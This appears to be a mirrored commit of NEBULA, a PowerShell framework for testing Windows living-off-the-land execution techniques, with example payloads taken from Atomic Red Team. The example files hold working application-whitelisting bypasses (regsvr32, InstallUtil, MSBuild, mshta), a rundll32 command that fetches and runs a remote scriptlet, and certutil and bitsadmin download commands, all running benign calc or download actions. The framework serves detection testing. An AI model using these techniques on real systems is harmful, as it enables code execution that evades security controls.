mirror of
https://github.com/MHaggis/NEBULA
synced 2026-06-21 13:43:50 +00:00
NEBULA
This commit is contained in:
+26
@@ -0,0 +1,26 @@
|
||||
# NEBULA Test Results and Generated Files
|
||||
nebula_results.json
|
||||
NebulaResults_*.csv
|
||||
NebulaResults_*.json
|
||||
NebulaResults_*.html
|
||||
|
||||
# PowerShell session history
|
||||
ConsoleHost_history.txt
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.temp
|
||||
*.log
|
||||
|
||||
# OS files
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
desktop.ini
|
||||
|
||||
# IDE files
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
@@ -0,0 +1,244 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Export NEBULA test results
|
||||
|
||||
.DESCRIPTION
|
||||
Utility script to export and analyze NEBULA test results
|
||||
|
||||
.PARAMETER OutputPath
|
||||
Path to save the results file
|
||||
|
||||
.PARAMETER Format
|
||||
Output format: CSV, JSON, or HTML
|
||||
#>
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$false)]
|
||||
[string]$OutputPath = ".\NebulaResults",
|
||||
|
||||
[Parameter(Mandatory=$false)]
|
||||
[ValidateSet("CSV", "JSON", "HTML")]
|
||||
[string]$Format = "CSV"
|
||||
)
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "╔════════════════════════════════════════╗" -ForegroundColor Cyan
|
||||
Write-Host "║ NEBULA Results Export Utility ║" -ForegroundColor Cyan
|
||||
Write-Host "╚════════════════════════════════════════╝" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
# This is a standalone utility - NEBULA would need to export results
|
||||
# to a file that this script can read
|
||||
|
||||
$resultsFile = Join-Path $PSScriptRoot "nebula_results.json"
|
||||
|
||||
if (-not (Test-Path $resultsFile)) {
|
||||
Write-Host "[!] No results file found at: $resultsFile" -ForegroundColor Yellow
|
||||
Write-Host "[*] This utility exports test results logged by NEBULA." -ForegroundColor Gray
|
||||
Write-Host "[*] Run NEBULA and execute some tests first." -ForegroundColor Gray
|
||||
Write-Host ""
|
||||
|
||||
# Create sample data for demonstration
|
||||
$sampleResults = @(
|
||||
[PSCustomObject]@{
|
||||
Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
|
||||
TestName = "Sample Test"
|
||||
Technique = "WMI Execution"
|
||||
Status = "SUCCESS"
|
||||
Details = "This is sample data"
|
||||
}
|
||||
)
|
||||
|
||||
Write-Host "[*] Creating sample results file for demonstration..." -ForegroundColor Cyan
|
||||
$sampleResults | ConvertTo-Json | Out-File $resultsFile
|
||||
}
|
||||
|
||||
Write-Host "[+] Loading results from: $resultsFile" -ForegroundColor Green
|
||||
$results = Get-Content $resultsFile | ConvertFrom-Json
|
||||
|
||||
Write-Host "[*] Found $($results.Count) test results" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
|
||||
$outputFile = "$OutputPath`_$timestamp.$($Format.ToLower())"
|
||||
|
||||
switch ($Format) {
|
||||
"CSV" {
|
||||
Write-Host "[*] Exporting to CSV format..." -ForegroundColor Yellow
|
||||
$results | Export-Csv -Path $outputFile -NoTypeInformation
|
||||
Write-Host "[+] Exported to: $outputFile" -ForegroundColor Green
|
||||
}
|
||||
|
||||
"JSON" {
|
||||
Write-Host "[*] Exporting to JSON format..." -ForegroundColor Yellow
|
||||
$results | ConvertTo-Json -Depth 10 | Out-File $outputFile
|
||||
Write-Host "[+] Exported to: $outputFile" -ForegroundColor Green
|
||||
}
|
||||
|
||||
"HTML" {
|
||||
Write-Host "[*] Generating HTML report..." -ForegroundColor Yellow
|
||||
|
||||
$html = @"
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>NEBULA Test Results - $timestamp</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
}
|
||||
.container {
|
||||
max-width: 1200px;
|
||||
margin: 0 auto;
|
||||
background: white;
|
||||
border-radius: 10px;
|
||||
padding: 30px;
|
||||
box-shadow: 0 10px 40px rgba(0,0,0,0.3);
|
||||
}
|
||||
h1 {
|
||||
color: #667eea;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.subtitle {
|
||||
text-align: center;
|
||||
color: #666;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
.stats {
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
.stat-box {
|
||||
text-align: center;
|
||||
padding: 20px;
|
||||
border-radius: 8px;
|
||||
min-width: 150px;
|
||||
}
|
||||
.stat-box.success { background: #d4edda; color: #155724; }
|
||||
.stat-box.failed { background: #f8d7da; color: #721c24; }
|
||||
.stat-box.error { background: #fff3cd; color: #856404; }
|
||||
.stat-box h3 { margin: 0; font-size: 2em; }
|
||||
.stat-box p { margin: 5px 0 0 0; }
|
||||
table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
margin-top: 20px;
|
||||
}
|
||||
th {
|
||||
background: #667eea;
|
||||
color: white;
|
||||
padding: 12px;
|
||||
text-align: left;
|
||||
}
|
||||
td {
|
||||
padding: 10px;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}
|
||||
tr:hover {
|
||||
background: #f5f5f5;
|
||||
}
|
||||
.status {
|
||||
padding: 5px 10px;
|
||||
border-radius: 5px;
|
||||
font-weight: bold;
|
||||
display: inline-block;
|
||||
}
|
||||
.status.SUCCESS { background: #28a745; color: white; }
|
||||
.status.FAILED { background: #dc3545; color: white; }
|
||||
.status.ERROR { background: #ffc107; color: black; }
|
||||
.status.DRY-RUN { background: #6c757d; color: white; }
|
||||
.status.INFO { background: #17a2b8; color: white; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>🌌 NEBULA Test Results</h1>
|
||||
<p class="subtitle">Generated: $timestamp</p>
|
||||
|
||||
<div class="stats">
|
||||
<div class="stat-box success">
|
||||
<h3>$($results | Where-Object {$_.Status -eq "SUCCESS"} | Measure-Object | Select-Object -ExpandProperty Count)</h3>
|
||||
<p>Successful</p>
|
||||
</div>
|
||||
<div class="stat-box failed">
|
||||
<h3>$($results | Where-Object {$_.Status -eq "FAILED"} | Measure-Object | Select-Object -ExpandProperty Count)</h3>
|
||||
<p>Failed</p>
|
||||
</div>
|
||||
<div class="stat-box error">
|
||||
<h3>$($results | Where-Object {$_.Status -eq "ERROR"} | Measure-Object | Select-Object -ExpandProperty Count)</h3>
|
||||
<p>Errors</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Timestamp</th>
|
||||
<th>Test Name</th>
|
||||
<th>Technique</th>
|
||||
<th>Status</th>
|
||||
<th>Details</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
"@
|
||||
|
||||
foreach ($result in $results) {
|
||||
$html += @"
|
||||
<tr>
|
||||
<td>$($result.Timestamp)</td>
|
||||
<td>$($result.TestName)</td>
|
||||
<td>$($result.Technique)</td>
|
||||
<td><span class="status $($result.Status)">$($result.Status)</span></td>
|
||||
<td>$($result.Details)</td>
|
||||
</tr>
|
||||
"@
|
||||
}
|
||||
|
||||
$html += @"
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"@
|
||||
|
||||
$html | Out-File $outputFile -Encoding UTF8
|
||||
Write-Host "[+] HTML report generated: $outputFile" -ForegroundColor Green
|
||||
|
||||
# Try to open in browser
|
||||
Write-Host "[*] Opening report in browser..." -ForegroundColor Cyan
|
||||
try {
|
||||
Start-Process $outputFile
|
||||
} catch {
|
||||
Write-Host "[!] Could not auto-open browser. Please open manually." -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "════════════════════════════════════════" -ForegroundColor Cyan
|
||||
Write-Host "Export complete!" -ForegroundColor Green
|
||||
Write-Host "════════════════════════════════════════" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
# Generate statistics
|
||||
Write-Host "Test Statistics:" -ForegroundColor White
|
||||
Write-Host " Total Tests: $($results.Count)" -ForegroundColor Gray
|
||||
Write-Host " Successful: $($results | Where-Object {$_.Status -eq 'SUCCESS'} | Measure-Object | Select-Object -ExpandProperty Count)" -ForegroundColor Green
|
||||
Write-Host " Failed: $($results | Where-Object {$_.Status -eq 'FAILED'} | Measure-Object | Select-Object -ExpandProperty Count)" -ForegroundColor Red
|
||||
Write-Host " Errors: $($results | Where-Object {$_.Status -eq 'ERROR'} | Measure-Object | Select-Object -ExpandProperty Count)" -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
|
||||
# Show technique breakdown
|
||||
Write-Host "Techniques Tested:" -ForegroundColor White
|
||||
$results | Group-Object -Property Technique | Sort-Object Count -Descending | ForEach-Object {
|
||||
Write-Host " $($_.Name): $($_.Count)" -ForegroundColor Cyan
|
||||
}
|
||||
Write-Host ""
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
@echo off
|
||||
REM NEBULA Launcher
|
||||
REM Quick launcher for NEBULA TUI
|
||||
|
||||
echo.
|
||||
echo ========================================
|
||||
echo NEBULA Launcher
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
REM Check if running as admin
|
||||
net session >nul 2>&1
|
||||
if %errorLevel% == 0 (
|
||||
echo [+] Running with Administrator privileges
|
||||
) else (
|
||||
echo [!] Not running as Administrator
|
||||
echo [!] Some techniques may require elevation
|
||||
)
|
||||
|
||||
echo.
|
||||
echo [*] Starting NEBULA...
|
||||
echo.
|
||||
|
||||
REM Launch PowerShell with Nebula
|
||||
powershell.exe -ExecutionPolicy Bypass -File "%~dp0Nebula.ps1"
|
||||
|
||||
pause
|
||||
|
||||
+2848
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,108 @@
|
||||
# NEBULA 🌌
|
||||
<div align="center">
|
||||
<img src="assets/NEBULA_logo.png" alt="NEBULA Logo" width="400">
|
||||
</div>
|
||||
|
||||
**Nefarious Execution & Behavioral Unit for LOLBAS Attacks**
|
||||
|
||||
An interactive PowerShell TUI for testing and exploring Windows execution techniques, COM objects, WMI methods, and LOLBAS (Living Off The Land Binaries and Scripts) techniques.
|
||||
|
||||
<div align="center">
|
||||
<img src="assets/NEBULA_menu.png" alt="NEBULA Menu" width="400">
|
||||
</div>
|
||||
|
||||
|
||||
## Overview
|
||||
|
||||
NEBULA is an atomic testing framework designed for security researchers, red teamers, and blue teamers to understand and test various Windows execution and persistence techniques in a controlled environment.
|
||||
|
||||
## Features
|
||||
|
||||
🎯 WMI Execution Techniques
|
||||
💻 COM Object Techniques
|
||||
🔒 Persistence Techniques
|
||||
🛠️ LOLBAS Execution Methods
|
||||
🔍 Advanced WMI Exploration
|
||||
|
||||
<div align="center">
|
||||
<img src="assets/NEBULA_com.png" alt="NEBULA COM Menu" width="400">
|
||||
<p>NEBULA COM Menu</p>
|
||||
</div>
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
```powershell
|
||||
# Run NEBULA
|
||||
.\Launch-Nebula.bat
|
||||
|
||||
# Or from PowerShell
|
||||
powershell.exe -ExecutionPolicy Bypass -File .\Nebula.ps1
|
||||
```
|
||||
|
||||
## Navigation
|
||||
|
||||
NEBULA uses a clean, menu-driven interface:
|
||||
|
||||
- **Number keys (1-7)**: Select menu options
|
||||
- **B**: Back to previous menu
|
||||
- **Q**: Quit application
|
||||
|
||||
## Test Results Tracking
|
||||
|
||||
All executed tests are logged with:
|
||||
- Timestamp
|
||||
- Test name
|
||||
- Technique used
|
||||
- Status (SUCCESS/FAILED/ERROR/DRY-RUN)
|
||||
- Details and output
|
||||
|
||||
View results anytime via the "View Test Results" menu option.
|
||||
|
||||
|
||||
## Requirements
|
||||
|
||||
- Windows 10/11 or Windows Server 2016+
|
||||
- PowerShell 5.1 or later
|
||||
- Administrator privileges (for some techniques)
|
||||
|
||||
## Example Payloads
|
||||
|
||||
NEBULA includes example payloads in the `examples/` folder for testing LOLBAS techniques. These payloads are sourced from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team).
|
||||
|
||||
### Available Test Payloads
|
||||
|
||||
- **regsvr32_squiblydoo.sct** - RegSvr32 Squiblydoo technique (T1218.010)
|
||||
- **mshta_calc.hta** - MSHTA remote HTA execution (T1218.005)
|
||||
- **rundll32_calc.sct** - Rundll32 JavaScript protocol (T1218.011)
|
||||
- **rundll32_javascript.txt** - Command reference for Rundll32 techniques
|
||||
- **msbuild_inline_task.csproj** - MSBuild inline task execution (T1127.001)
|
||||
- **certutil_download.txt** - CertUtil download technique reference (T1105)
|
||||
- **bitsadmin_transfer.txt** - BITSAdmin background transfer reference (T1197)
|
||||
- **installutil_bypass.txt** - InstallUtil AppLocker bypass reference (T1218.004)
|
||||
|
||||
All example payloads execute benign actions (e.g., launching calc.exe) for safe testing.
|
||||
|
||||
**Attribution**: Test payloads sourced from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) © Red Canary
|
||||
|
||||
|
||||
## Author
|
||||
|
||||
[@MHaggis](https://github.com/MHaggis)
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
NEBULA utilizes test payloads from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) by Red Canary.
|
||||
|
||||
Atomic Red Team is a library of tests mapped to the MITRE ATT&CK® framework. Security teams can use Atomic Red Team to quickly, portably, and reproducibly test their environments.
|
||||
|
||||
- **Atomic Red Team**: https://github.com/redcanaryco/atomic-red-team
|
||||
- **Copyright**: © Red Canary
|
||||
|
||||
The example payloads in the `examples/` folder are derived from Atomic Red Team and modified for use with NEBULA's testing framework.
|
||||
|
||||
|
||||
---
|
||||
|
||||
*"In the nebula of Windows internals, every technique leaves a trace."* ✨
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 615 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.5 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 294 KiB |
@@ -0,0 +1,16 @@
|
||||
# BITSAdmin Background Transfer Techniques
|
||||
# Source: Atomic Red Team (T1197)
|
||||
# https://github.com/redcanaryco/atomic-red-team
|
||||
|
||||
# Method 1: BITSAdmin (Command Prompt)
|
||||
# This command uses bitsadmin to download a file in the background
|
||||
bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt %temp%\bitsadmin_download.txt
|
||||
|
||||
# Method 2: BITSAdmin (PowerShell)
|
||||
# Using PowerShell's Start-BitsTransfer cmdlet
|
||||
Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt -Destination $env:TEMP\bitsadmin_download.txt
|
||||
|
||||
# Cleanup
|
||||
del %temp%\bitsadmin_download.txt
|
||||
Remove-Item $env:TEMP\bitsadmin_download.txt -ErrorAction Ignore
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
# CertUtil Download Techniques
|
||||
# Source: Atomic Red Team (T1105)
|
||||
# https://github.com/redcanaryco/atomic-red-team
|
||||
|
||||
# Method 1: CertUtil with -urlcache
|
||||
# This command downloads a file from a remote URL using certutil's urlcache argument
|
||||
cmd /c certutil -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt Atomic-license.txt
|
||||
|
||||
# Method 2: CertUtil with -verifyctl
|
||||
# This command downloads a file using certutil's verifyctl argument
|
||||
certutil -verifyctl -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
|
||||
|
||||
# Cleanup
|
||||
del Atomic-license.txt
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
// InstallUtil AppLocker Bypass - Atomic Red Team T1218.004
|
||||
// This assembly will be compiled and executed via InstallUtil.exe
|
||||
// The Uninstall() method runs arbitrary code when InstallUtil /U is called
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration.Install;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace InstallUtilBypass
|
||||
{
|
||||
[RunInstaller(true)]
|
||||
public class AtomicInstaller : Installer
|
||||
{
|
||||
public override void Install(System.Collections.IDictionary stateSaver)
|
||||
{
|
||||
base.Install(stateSaver);
|
||||
}
|
||||
|
||||
public override void Uninstall(System.Collections.IDictionary savedState)
|
||||
{
|
||||
base.Uninstall(savedState);
|
||||
// Execute calc.exe to demonstrate code execution
|
||||
Process.Start("calc.exe");
|
||||
Console.WriteLine("[+] NEBULA InstallUtil Bypass - Code Executed!");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# InstallUtil AppLocker Bypass
|
||||
# Source: Atomic Red Team (T1218.004)
|
||||
# https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md
|
||||
|
||||
# MITRE ATT&CK: T1218.004 - System Binary Proxy Execution: InstallUtil
|
||||
# InstallUtil.exe is a command-line utility that allows you to install and
|
||||
# uninstall server resources by executing the installer components in specified assemblies.
|
||||
|
||||
# The technique abuses the Uninstall() method which runs when /U flag is passed.
|
||||
# This can bypass application whitelisting since InstallUtil.exe is a signed Microsoft binary.
|
||||
|
||||
# ============================================================================
|
||||
# ATOMIC TEST: Compile and Execute
|
||||
# ============================================================================
|
||||
|
||||
# Step 1: Create C# source file with installer class
|
||||
# The [RunInstaller(true)] attribute marks this as an installer component
|
||||
# The Uninstall() method executes arbitrary code
|
||||
|
||||
# Step 2: Compile with csc.exe
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:%TEMP%\payload.dll payload.cs
|
||||
|
||||
# Or 64-bit:
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:%TEMP%\payload.dll payload.cs
|
||||
|
||||
# Step 3: Execute via InstallUtil /U (triggers Uninstall method)
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U %TEMP%\payload.dll
|
||||
|
||||
# Or 64-bit:
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U %TEMP%\payload.dll
|
||||
|
||||
# ============================================================================
|
||||
# DETECTION
|
||||
# ============================================================================
|
||||
# - Monitor for InstallUtil.exe execution with /U flag
|
||||
# - Watch for InstallUtil.exe spawning child processes
|
||||
# - Look for InstallUtil.exe loading DLLs from unusual locations (Temp, Downloads, etc.)
|
||||
# - Sysmon Event ID 1 (Process Create) with InstallUtil.exe as parent
|
||||
|
||||
# ============================================================================
|
||||
# CLEANUP
|
||||
# ============================================================================
|
||||
del %TEMP%\payload.dll
|
||||
del %TEMP%\payload.InstallLog
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!-- This inline task executes c# code. -->
|
||||
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildBypass.csproj -->
|
||||
<!-- Feel free to use a more aggressive class for testing. -->
|
||||
<Target Name="Hello">
|
||||
<FragmentExample />
|
||||
<ClassExample />
|
||||
</Target>
|
||||
<UsingTask
|
||||
TaskName="FragmentExample"
|
||||
TaskFactory="CodeTaskFactory"
|
||||
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<ParameterGroup/>
|
||||
<Task>
|
||||
<Using Namespace="System" />
|
||||
<Code Type="Fragment" Language="cs">
|
||||
<![CDATA[
|
||||
Console.WriteLine("Hello From a Code Fragment");
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
<UsingTask
|
||||
TaskName="ClassExample"
|
||||
TaskFactory="CodeTaskFactory"
|
||||
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<Task>
|
||||
<!-- <Reference Include="System.IO" /> Example Include -->
|
||||
<Code Type="Class" Language="cs">
|
||||
<![CDATA[
|
||||
using System;
|
||||
using Microsoft.Build.Framework;
|
||||
using Microsoft.Build.Utilities;
|
||||
public class ClassExample : Task, ITask
|
||||
{
|
||||
public override bool Execute()
|
||||
{
|
||||
Console.WriteLine("Hello From a Class.");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
</Project>
|
||||
@@ -0,0 +1,12 @@
|
||||
<html>
|
||||
<head>
|
||||
<HTA:APPLICATION ID="AtomicRedTeam">
|
||||
<script language="jscript">
|
||||
var c = "cmd.exe /c calc.exe";
|
||||
new ActiveXObject('WScript.Shell').Run(c);
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<script>self.close();</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,23 @@
|
||||
<?XML version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration
|
||||
progid="PoC"
|
||||
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
|
||||
<!-- regsvr32 /s /u /i:http://example.com/file.sct scrobj.dll -->
|
||||
|
||||
<!-- .sct files when downloaded, are executed from a path like this -->
|
||||
<!-- Please Note, file extenstion does not matter -->
|
||||
<!-- Though, the name and extension are arbitary.. -->
|
||||
<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
|
||||
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
|
||||
<!-- You can either execute locally, or from a url -->
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
// calc.exe should launch, this could be any arbitrary code.
|
||||
// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
|
||||
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||
|
||||
]]>
|
||||
</script>
|
||||
</registration>
|
||||
</scriptlet>
|
||||
@@ -0,0 +1,44 @@
|
||||
<?XML version="1.0"?>
|
||||
<scriptlet>
|
||||
|
||||
<registration
|
||||
description="Bandit"
|
||||
progid="Bandit"
|
||||
version="1.00"
|
||||
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
|
||||
>
|
||||
|
||||
<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
|
||||
<!-- DFIR -->
|
||||
<!-- .sct files are downloaded and executed from a path like this -->
|
||||
<!-- Though, the name and extension are arbitary.. -->
|
||||
<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
|
||||
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
|
||||
|
||||
|
||||
<!-- Proof Of Concept - Casey Smith @subTee -->
|
||||
<!-- @RedCanary - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/src/T1085.sct -->
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
|
||||
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||
|
||||
]]>
|
||||
</script>
|
||||
</registration>
|
||||
|
||||
<public>
|
||||
<method name="Exec"></method>
|
||||
</public>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
|
||||
function Exec()
|
||||
{
|
||||
var r = new ActiveXObject("WScript.Shell").Run("notepad.exe");
|
||||
}
|
||||
|
||||
]]>
|
||||
</script>
|
||||
|
||||
</scriptlet>
|
||||
@@ -0,0 +1,18 @@
|
||||
# Rundll32 JavaScript Protocol
|
||||
# Source: Atomic Red Team (T1218.011)
|
||||
# https://github.com/redcanaryco/atomic-red-team
|
||||
|
||||
# Method 1: Execute remote SCT file via rundll32
|
||||
# This technique leverages rundll32 to execute JavaScript from a remote .sct file
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct")
|
||||
|
||||
# Method 2: Execute local SCT file
|
||||
# See rundll32_calc.sct for a local example payload
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:rundll32_calc.sct")
|
||||
|
||||
# Method 3: Rundll32 with local JavaScript execution
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('Atomic Red Team');
|
||||
|
||||
# Note: The .sct (scriptlet) files contain JScript that will be executed
|
||||
# The provided rundll32_calc.sct example launches calc.exe for testing
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>NEBULA Test HTA</title>
|
||||
<HTA:APPLICATION
|
||||
ID="NebulaTest"
|
||||
APPLICATIONNAME="NEBULA Test"
|
||||
BORDER="none"
|
||||
CAPTION="no"
|
||||
SHOWINTASKBAR="no"
|
||||
SINGLEINSTANCE="yes"
|
||||
SYSMENU="no"
|
||||
WINDOWSTATE="minimize">
|
||||
</head>
|
||||
<body>
|
||||
<script language="VBScript">
|
||||
' NEBULA Test Payload - HTA File
|
||||
' This is a sample HTA file for testing MSHTA execution technique
|
||||
|
||||
Sub Window_OnLoad
|
||||
' Create WScript.Shell object
|
||||
Set objShell = CreateObject("WScript.Shell")
|
||||
|
||||
' Safe test - just pop calc
|
||||
objShell.Run "calc.exe", 0, False
|
||||
|
||||
' Alternative: WMI execution
|
||||
' Set objWMI = GetObject("winmgmts:\\.\root\cimv2")
|
||||
' Set objProcess = objWMI.Get("Win32_Process")
|
||||
' objProcess.Create "calc.exe", Null, Null, intProcessID
|
||||
|
||||
' Close the HTA window
|
||||
Self.Close
|
||||
End Sub
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
<?XML version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration
|
||||
description="NEBULA Test SCT"
|
||||
progid="NebulaTest"
|
||||
version="1.00"
|
||||
classid="{A1112221-0000-0000-0000-0000FEEDACDC}"
|
||||
remotable="true"
|
||||
>
|
||||
</registration>
|
||||
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
// NEBULA Test Payload - SCT File
|
||||
// This is a sample scriptlet file for testing RegSvr32 Squiblydoo technique
|
||||
|
||||
var objShell = new ActiveXObject("WScript.Shell");
|
||||
|
||||
// Safe test - just pop calc
|
||||
objShell.Run("calc.exe", 0, false);
|
||||
|
||||
// Alternative WMI execution method
|
||||
// var wmi = GetObject("winmgmts:\\\\.\\root\\cimv2");
|
||||
// var startup = wmi.Get("Win32_ProcessStartup").SpawnInstance_();
|
||||
// startup.ShowWindow = 0;
|
||||
// var process = wmi.Get("Win32_Process");
|
||||
// process.Create("calc.exe", null, startup);
|
||||
|
||||
]]>
|
||||
</script>
|
||||
</scriptlet>
|
||||
|
||||
@@ -0,0 +1,148 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Test script to validate Atomic Red Team payload integration in NEBULA
|
||||
|
||||
.DESCRIPTION
|
||||
This script validates that all Atomic Red Team payloads are properly
|
||||
integrated and accessible from the examples folder.
|
||||
#>
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "══════════════════════════════════════════════════════════" -ForegroundColor Cyan
|
||||
Write-Host " NEBULA - Atomic Red Team Payload Validation" -ForegroundColor Yellow
|
||||
Write-Host "══════════════════════════════════════════════════════════" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
$script:PassCount = 0
|
||||
$script:FailCount = 0
|
||||
|
||||
function Test-FileExists {
|
||||
param(
|
||||
[string]$FilePath,
|
||||
[string]$Description
|
||||
)
|
||||
|
||||
Write-Host "Testing: " -NoNewline -ForegroundColor White
|
||||
Write-Host $Description -ForegroundColor Gray
|
||||
|
||||
if (Test-Path $FilePath) {
|
||||
Write-Host " [✓] PASS - File exists: $FilePath" -ForegroundColor Green
|
||||
$script:PassCount++
|
||||
return $true
|
||||
} else {
|
||||
Write-Host " [✗] FAIL - File not found: $FilePath" -ForegroundColor Red
|
||||
$script:FailCount++
|
||||
return $false
|
||||
}
|
||||
}
|
||||
|
||||
function Test-FileContent {
|
||||
param(
|
||||
[string]$FilePath,
|
||||
[string]$SearchString,
|
||||
[string]$Description
|
||||
)
|
||||
|
||||
Write-Host "Testing: " -NoNewline -ForegroundColor White
|
||||
Write-Host $Description -ForegroundColor Gray
|
||||
|
||||
if (-not (Test-Path $FilePath)) {
|
||||
Write-Host " [✗] FAIL - File not found: $FilePath" -ForegroundColor Red
|
||||
$script:FailCount++
|
||||
return $false
|
||||
}
|
||||
|
||||
$content = Get-Content $FilePath -Raw
|
||||
if ($content -match $SearchString) {
|
||||
Write-Host " [✓] PASS - Content found in file" -ForegroundColor Green
|
||||
$script:PassCount++
|
||||
return $true
|
||||
} else {
|
||||
Write-Host " [✗] FAIL - Content not found: $SearchString" -ForegroundColor Red
|
||||
$script:FailCount++
|
||||
return $false
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor DarkGray
|
||||
Write-Host " File Existence Tests" -ForegroundColor Cyan
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor DarkGray
|
||||
Write-Host ""
|
||||
|
||||
# Test all payload files exist
|
||||
Test-FileExists -FilePath "examples\regsvr32_squiblydoo.sct" -Description "RegSvr32 Squiblydoo payload"
|
||||
